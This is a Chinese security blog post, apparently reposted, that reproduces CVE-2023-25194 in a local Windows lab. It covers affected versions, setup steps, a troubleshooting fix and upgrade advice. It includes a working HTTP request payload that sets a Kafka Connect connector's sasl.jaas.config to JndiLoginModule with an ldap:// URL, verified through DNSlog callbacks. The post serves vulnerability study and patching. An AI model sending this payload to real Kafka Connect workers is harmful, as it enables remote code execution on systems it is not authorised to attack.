0


Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)

1、产品简介

 Kafka Connect是一种用于在Apache Kafka和其他系统之间可扩展且可靠地流式传输数据的工具。它使快速定义将大量数据移入和移出Kafka的连接器变得简单。Kafka Connect可以摄取整个数据库或从所有应用程序服务器收集指标到Kafka主题中,使数据可用于低延迟的流处理。

2、漏洞概述

 在Apache Kafka Connect中存在JNDI注入漏洞,当攻击者可访问Kafka Connect Worker,且可以创建或修改连接器时,通过设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入,造成RCE需低版本JDK或目标Kafka Connect系统中存在利用链。

3、影响范围

** 影响版本 **

2.3.0 <= Apache Kafka <= 3.3.2

不受影响版本

Apache Kafka >= 3.4.0

4、复现环境

Windows10搭建Kafka2.4.0集成环境(自行搭建jdk和mysql环境)

我这边使用的是jdk-11.0.18_windows-x64_bin.exe(JDK8也可以,建议使用JDK11)

mysql 5.7.27

Kafka2.4.0集成环境下载地址:https://download.csdn.net/download/qq_41904294/87588240

5、漏洞复现

启动环境

bin\windows\zookeeper-server-start.bat config\zookeeper.properties

bin\windows\kafka-server-start.bat config\server.properties

bin\windows\connect-standalone.bat config/connect-standalone.properties config/connect-file-source.properties config/connect-file-sink.properties

如果报错:“输入行太长。命令语法不正确”。出现这个问题的原因是 Windows 命令长度最长支持 8192 个字符,Kafka 的启动脚本中有命令拼接 classpath 变量,classpath 的内容是每个 jar 包的绝对路径拼接的字符串。当 Kafka 的位置比较深,也就是目录比较长的时候,classpath 的长度就会超长。
解决方法:缩短目录树结构,把Kafka安装目录直接放到根目录下即可。

3a2533464208416981efc69f1ce3e71d.png

访问漏洞环境查看是否启动

6b7913976a8a4e4c864244a2fe17a508.png

burp抓包查看是否存在相关依赖

http://x.x.x.x:8083/connector-plugins

74622c01f7344a77a3334f9b1b6cad8d.png

当前网上流传的POC

POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 821

{
    "name": "xxx",
    "config": {
        "connector.class": "io.debezium.connector.mysql.MySqlConnector",
        "database.hostname": "127.0.0.1",
        "database.port": "3306",
        "database.user": "root",
        "database.password": "xxxx",
        "database.server.id": "xxxx",
        "database.server.name": "xxxx",
        "database.history.kafka.bootstrap.servers": "127.0.0.1:9092",
        "database.history.kafka.topic": "xxxx",       "database.history.producer.security.protocol": "SASL_SSL",
        "database.history.producer.sasl.mechanism": "PLAIN",
        "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://xxxx\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
    }
}

POC原理 :通过创建mysql连接器时,设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入

利用Dnslog回显验证漏洞是否存在

2d314f2d1dca424984618b3d88fe8b06.png

9b50f5e18fac418f9911a420f0e6f74a.png

27308fa28c4f4a538555e4d47d8f5140.png

7e01427ca64f4aadaccdfe35cf8510aa.png

报错了,查看漏洞环境报错信息,提示服务器时区错误无法识别 ,在网上找了找方法,找到一些设置修改数据库时区,set time_zone='+8:00'; 这种方法,但是尝试后并无果,后来看了一遍文章,在创建连接器时指定数据库时区的方式

添加配置"database.serverTimezone“解决(不明白这里为什么要指定美国时区,知道的大哥指点一下)

"config": {
    ...
    "database.serverTimezone": "America/Los_Angeles",
    ...
}

重新验证

0450a46d44cb43708c2f28d0a06a321a.png

3ae3a0ce70c74569b244ad08586fe464.png

回显成功,漏洞存在

6、修复建议

目前官方已有可更新版本,建议受影响用户升级至:Apache Kafka 3.4.0及以上版本。

暂时无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。

标签: kafka java web安全

本文转载自: https://blog.csdn.net/qq_41904294/article/details/129634971
版权归原作者 OidBoy_G 所有, 如有侵权,请联系我们删除。

“Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)”的评论:

还没有评论